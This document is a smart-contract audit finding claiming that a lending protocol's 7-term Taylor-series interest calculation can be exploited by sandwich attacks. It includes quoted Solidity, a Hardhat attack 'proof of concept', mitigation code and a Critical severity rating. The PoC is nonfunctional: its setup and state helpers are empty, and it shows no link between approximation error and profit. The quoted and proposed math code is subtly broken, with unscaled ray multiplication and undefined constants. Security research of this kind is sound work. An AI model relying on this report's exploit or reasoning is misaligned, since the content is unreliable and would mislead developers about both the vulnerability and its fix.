Summary
The ReserveLibrary.sol's implementation of compound interest calculation using Taylor series approximation contains a critical vulnerability that can be exploited through sandwich attacks. The use of only 7 terms in the Taylor series expansion leads to significant approximation errors that can be manipulated for profit.
Vulnerability Details
In ReserveLibrary.sol, compound interest is calculated using Taylor series approximation:
function calculateCompoundedInterest(uint256 rate,uint256 timeDelta) internal pure returns (uint256) {
if (timeDelta < 1) {
return WadRayMath.RAY;
}
uint256 ratePerSecond = rate.rayDiv(SECONDS_PER_YEAR);
uint256 exponent = ratePerSecond.rayMul(timeDelta);
return WadRayMath.rayExp(exponent);
}
function calculateUsageIndex(uint256 rate, uint256 timeDelta ,uint256 lastIndex) internal pure returns (uint128) {
uint256 interestFactor = calculateCompoundedInterest(rate, timeDelta);
return lastIndex.rayMul(interestFactor).toUint128();
}
function rayExp(uint256 x) internal pure returns (uint256 result) {
result = WadRayMath.RAY;
if (x > 0) {
result += x;
result += (x * x) / 2;
result += (x * x * x) / 6;
result += (x * x * x * x) / 24;
result += (x * x * x * x * x) / 120;
result += (x * x * x * x * x * x) / 720;
result += (x * x * x * x * x * x * x) / 5040;
}
}
The key issues are:
The Taylor series expansion uses only 7 terms, leading to significant approximation errors for large exponents
No bounds checking on input values that could cause large approximation errors
Error propagation through subsequent calculations
No protection against sandwich attacks exploiting these errors
Impact
An attacker can:
Manipulate interest rates through carefully timed sandwich attacks
Exploit approximation errors for profit
Disrupt the protocol's interest rate mechanism
Cause losses for other users
Proof of Concept (PoC)
This PoC demonstrates how the Taylor series approximation error can be exploited in a sandwich attack:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { mine, time } = require("@nomicfoundation/hardhat-network-helpers");
describe("Compound Interest Rate Manipulation", function() {
let lendingPool, reserveLibrary;
let deployer, attacker;
const LARGE_LOAN = ethers.utils.parseEther("1000000");
const ATTACK_RATE = ethers.utils.parseUnits("0.5", 27);
const OPTIMAL_TIME_DELTA = 3600;
before(async function() {
[deployer, attacker] = await ethers.getSigners();
const ReserveLibrary = await ethers.getContractFactory("ReserveLibrary");
reserveLibrary = await ReserveLibrary.deploy();
const LendingPool = await ethers.getContractFactory("LendingPool", {
libraries: {
ReserveLibrary: reserveLibrary.address
}
});
lendingPool = await LendingPool.deploy();
await setupInitialState();
});
it("Should demonstrate interest rate manipulation through approximation error", async function() {
console.log("\nStarting Interest Rate Manipulation Attack");
await lendingPool.connect(attacker).borrow(LARGE_LOAN);
console.log("Borrowed large position:", ethers.utils.formatEther(LARGE_LOAN));
const initialState = await getLendingPoolState();
await lendingPool.connect(attacker).updateInterestRate(ATTACK_RATE);
console.log("Front-run: Updated interest rate");
await time.increase(OPTIMAL_TIME_DELTA);
await lendingPool.connect(attacker).updateState();
await lendingPool.connect(attacker).repay(LARGE_LOAN);
const finalState = await getLendingPoolState();
const profit = finalState.attacker_balance.sub(initialState.attacker_balance);
console.log("Attack completed. Profit:", ethers.utils.formatEther(profit));
expect(profit).to.be.gt(0);
});
async function setupInitialState() {
}
async function getLendingPoolState() {
}
});
Tools Used
Recommended Mitigation
Implement a more accurate exponential calculation for large values:
function calculateCompoundedInterest(
uint256 rate,
uint256 timeDelta
) internal pure returns (uint256) {
if (timeDelta < 1) {
return WadRayMath.RAY;
}
uint256 ratePerSecond = rate.rayDiv(SECONDS_PER_YEAR);
uint256 exponent = ratePerSecond.rayMul(timeDelta);
if (exponent > LARGE_EXPONENT_THRESHOLD) {
return _calculateLargeExponent(exponent);
}
return rayExp(exponent);
}
function _calculateLargeExponent(uint256 x) private pure returns (uint256) {
uint256 parts = x / SPLIT_THRESHOLD;
uint256 remainder = x % SPLIT_THRESHOLD;
uint256 result = WadRayMath.RAY;
uint256 partResult = EXPONENTIAL_LOOKUP[SPLIT_THRESHOLD];
for (uint256 i = 0; i < parts; i++) {
result = result.rayMul(partResult);
}
if (remainder > 0) {
result = result.rayMul(rayExp(remainder));
}
return result;
}
Add rate change limits:
uint256 constant MAX_RATE_CHANGE_PER_SECOND = 100;
function validateRateChange(uint256 oldRate, uint256 newRate, uint256 timeDelta) internal pure {
uint256 maxChange = MAX_RATE_CHANGE_PER_SECOND * timeDelta;
uint256 actualChange = oldRate > newRate ? oldRate - newRate : newRate - oldRate;
require(
actualChange <= maxChange,
"Rate change exceeds maximum allowed"
);
}
Risk Rating
Severity: Critical
Manipulates core interest calculation
Allows unfair profit extraction
Affects protocol solvency
Likelihood: Medium-High
Impact: Critical
This vulnerability is particularly dangerous because it affects the fundamental mathematics of the protocol's interest rate system. The complexity of the attack and the mathematical nature of the vulnerability make it harder to detect but also more devastating when exploited.